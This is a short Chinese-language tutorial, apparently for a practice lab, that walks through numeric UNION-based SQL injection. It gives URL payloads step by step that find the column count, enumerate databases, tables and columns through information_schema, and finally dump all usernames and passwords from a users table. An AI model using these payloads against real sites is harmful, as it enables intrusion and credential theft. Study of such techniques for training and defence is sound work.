首先在url输入?id=1 and 1=1 和 ?id=1 and 1=2判断页面是否相同,发现两个页面不相同那么已经代入查询,可能是数字型注入。
url输入?id=-1 and order by 4(注意这里id=-1是为了让前面错误而执行and后面的语句),order by 后的数字可以从1开始往后试,知道出现临界值那么就可以知道有多少列可以显示在页面上。如图有3列
然后使用union查询判断回显位
页面上显示数字2和3,说明回显位是第二位和第三位,可以将需要显示在页面上的查询结果放在第二位和第三位
输入?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata获取所有数据的名称,group_concat()是内置函数,用于获取所有结果,information_scema.schemata是存放所有数据库名的表,位于数据库information_schema中,‘.’表示下一级。可以看到有一个名为security的数据库。
输入?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'查询数据库security中有哪些表。infromation_schema.tables是一个存放所有数据库表名的表,table_schema是变量,表示数据库名,table_name是变量,表示表名。
在users表中查询有哪些列名,输入?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security',在数据库security并且该数据库中的表users查询列名。
输入?id=-1 union select 1,group_concat(username),group_concat(password) from users即可看到所有的数据。
至此就获得所有用户名和密码